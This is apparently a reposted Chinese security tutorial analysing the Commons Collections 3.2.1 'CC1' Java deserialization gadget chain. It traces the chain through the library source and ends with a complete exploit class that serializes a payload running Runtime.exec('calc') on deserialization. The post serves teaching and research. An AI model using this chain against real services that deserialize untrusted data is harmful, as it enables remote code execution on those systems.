Java安全 | Java反序列化(二)之CC1链

渗透技巧 1年前 (2023) admin
211 0 0

    云雾安全公众号

Java安全

Java反序列化(二)之CC1链

1.Commons Collections


Apache CommonsApache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码


2.回顾反序列化漏洞原理

Java安全 | Java反序列化(二)之CC1链

找链子最好是从后往前找,先找到危险方法,然后调用它的方法或类,再联系到入口类,构造出exp。


3.从源码分析CC1链

以下是Collections的包结构和简单介绍:

org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类org.apache.commons.collections.bag – 实现Bag接口的一组类org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类org.apache.commons.collections.buffer – 实现Buffer接口的一组类org.apache.commons.collections.collection –实现java.util.Collection接口的一组类org.apache.commons.collections.comparators – 实现java.util.Comparator接口的一组类org.apache.commons.collections.functors –Commons Collections自定义的一组功能类org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类org.apache.commons.collections.list – 实现java.util.List接口的一组类org.apache.commons.collections.map – 实现Map系列接口的一组类org.apache.commons.collections.set – 实现Set系列接口的一组类

Commons Collections的3.2.1版本源码中,存在一个Transform接口,在ysoserial工具里的Gadget chain也是用的这个接口的实现方法;所以我们CC1链就从这个接口(类)开始分析起。

如下图,从maven仓库里把Commons Collections3.2.1版本的依赖下载添加到项目中。

Java安全 | Java反序列化(二)之CC1链

添加进来后,我们先找到Transform接口,看看它的实现类有哪些。

Java安全 | Java反序列化(二)之CC1链

我们这里主要看InvokerTransformer类,也是存在漏洞点的类。

Java安全 | Java反序列化(二)之CC1链

public Object transform(Object input) {        if (input == null) {            return null;        } else {            try {                Class cls = input.getClass();                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);                return method.invoke(input, this.iArgs);            }            ...        }}

从上图和给出代码中可以看出,transform方法首先进来接受一个input对象,然后反射调用,方法参数类型和值都是我们可以自己可控的;这里代码写的有点像个后门,可能作者是要有一些动态的方法,所以才这么写的,但这样就会产生危险问题,我们就可以进行利用。

我们来尝试用这个方法弹一下计算机试试(列出了三种):

      //直接弹出计算器        Runtime.getRuntime().exec("calc");        //使用反射弹出计算器        Runtime r = Runtime.getRuntime();        Class<Runtime> c = Runtime.class;        Method execMethod = c.getMethod("exec", String.class);        execMethod.invoke(r,"calc");        //使用InvokerTransformer弹出计算器        Runtime r = Runtime.getRuntime();        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);    }

Java安全 | Java反序列化(二)之CC1链

根据从后往前的找链顺序来跟,现在知道危险方法是transform了,下面就看调用transform的类有哪些,用Find Usages查找能找到有21处调用,几个类都直接调用了transform,比如LasyMapTransformedMap等等

这里我们先看看TransformedMap类,因为这个类有好几处都调用了transform方法,如下图的checkSetValuetransformKeytransformValue

Java安全 | Java反序列化(二)之CC1链

Java安全 | Java反序列化(二)之CC1链

TransformedMap类里找到由protected修饰的构造函数TransformedMap,只能在类中调用,可以看出接收一个map进来,对他的keyvalue分别进行操作。

Java安全 | Java反序列化(二)之CC1链

找到是静态方法decorate,对keyvalue进行一个完整的装饰操作。那我们可以从这里新建一个TransformedMap了。

Java安全 | Java反序列化(二)之CC1链

最后我们是要调用checkSetValuetransform方法,所以只用给invokerTransformer赋值即可。

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});        HashMap<Object, Object> map = new HashMap<>();        //invokerTransformer.transform(value)        TransformedMap.decorate(map,null,invokerTransformer);

继续找,看哪个调用了checkSetValue,发现是个MapEntry类,里面调用了setValue然后调用checkSetValue

Java安全 | Java反序列化(二)之CC1链

Java安全 | Java反序列化(二)之CC1链

这个setValue实际上就是Entry类里的setValue方法,重写了下,Entry类是一个静态内部类,一般map遍历时会用到Entry,从上图中可以看到MapEntry继承了AbstractMapEntryDecorator,然后AbstractMapEntryDecorator实现了Entry类。

这样我们只要遍历TransformedMap,调用setValue,就会走到MapEntrysetValue里的checksetValue,如下,成功调用:

Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object, Object> map = new HashMap<>();map.put("key","value");//invokerTransformer.transform(value)Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);for (Map.Entry entry: transformedMap.entrySet()){  entry.setValue(r);}

Java安全 | Java反序列化(二)之CC1链

这样,调用链大概就走到一半了,理一下,从最开始的危险方法exec()——>到InvokerTransformer.transform()——>再到setValue(),接下来就继续往入口类找,看能不能联系到readObject()

先找看有没有readObject()直接调用setValue()方法的,没有的话就得多走几层了。

继续找,从jdk里带的一个rt.jar包里找到了AnnotationlnvocationHandler类,刚好是readObject()直接调用setValue()方法。

Java安全 | Java反序列化(二)之CC1链

Java安全 | Java反序列化(二)之CC1链

Java安全 | Java反序列化(二)之CC1链

从这个类的构造函数可以看出,第二个参数var2可控,即memberValues可控,可以把我们设计好的TransformedMap放进去第一个参数是继承注解的类。AnnotationInvocationHandler这个类是default类型的,就得需要反射来调用。

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationConstructor.setAccessible(true);Object o = annotationInvocationConstructor.newInstance(Override.class, transformedMap);

由于Runtime r = Runtime.getRuntime()不能反序列化,所以要写成能序列化的形式,使用InvokerTransformer

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

Java安全 | Java反序列化(二)之CC1链

如上图,有个类为ChainedTransformer,这个类可以放一个Transformer数组进去然后再进行递归调用,我们可以用这个类进行改写:

Transformer[] transformers = new Transformer[]{        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(Runtime.class);

然后把代码整合一下:

Transformer[] transformers = new Transformer[]{                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>(); map.put("aaa","bbb");

Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationConstructor.setAccessible(true); Object obj = annotationInvocationConstructor.newInstance(Override.class, transformedMap);

serialize(obj); unserialize("ser.bin");

但是执行后没成功调出计算器,调试发现,是AnnotationInvocationHandler类里的readObejct函数中的if方法没绕过去。

Java安全 | Java反序列化(二)之CC1链

var7变量为null,发现var7其实是获取传进来注解的值,而开始传进来的注解Override里没有成员方法,所以获取的值为null

Java安全 | Java反序列化(二)之CC1链

我们只需要传入的注解有值,把map中的aaa改成成员方法名,就可以绕过这个if可以看到Target注解有值,我们传入Target,并且把aaa改为value

Java安全 | Java反序列化(二)之CC1链

Java安全 | Java反序列化(二)之CC1链

可以看到,第一个if绕过了,第二个if也没有拦住;

Java安全 | Java反序列化(二)之CC1链

但是能看到valueAnnotationTypeMismatchExceptionProxy这个东西,如果我们能改一下让他调用Runtime.class就好了;回想一下,当时在找transform的时候,有个ConstantTransformer类,他的transform方法就是始终返回指定值,我们可以最后调用他的transform方法。

Java安全 | Java反序列化(二)之CC1链

new一个ConstantTransformer即可,exp代码如下:

public class CC1test {    public static void main(String[] args) throws Exception {        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<Object, Object>(); map.put("value","bbb");

Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationConstructor.setAccessible(true); Object obj = annotationInvocationConstructor.newInstance(Target.class, transformedMap);

serialize(obj); unserialize("ser.bin");

} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }

public static Object unserialize(String fileName) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName)); return ois.readObject(); }}

成功执行!其实不止这一条链,通过LazyMap也是可以的。(看着可能会有些乱,建议去B站看看相关跟链视频)

Java安全 | Java反序列化(二)之CC1链

文章相关快速利用笔记已经上传到公众号资料网盘(持续更新中),关注可以获取网盘链接,谢谢支持!

Java安全 | Java反序列化(二)之CC1链

更多详情,请关注公众号“云雾安全”之后在菜单栏回复“加群”关键字,获取加群方法,进群可以立即尽情享受ChatGPT给我们带来的欢乐,十分感谢各位师傅的支持!!!




关注有礼

  • 关注公众号回复”SRC”即可领取SRC分享资料礼包

  • 关注公众号回复”工具”即可领取渗透测试工具

  • 关注公众号回复”进群”即可和我们进行交流

关注

Java安全 | Java反序列化(二)之CC1链

扫二维码|关注我们

公众号| 云雾安全

原文始发于微信公众号(云雾安全):Java安全 | Java反序列化(二)之CC1链

版权声明:admin 发表于 2023年1月6日 上午11:51。
转载请注明:Java安全 | Java反序列化(二)之CC1链 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...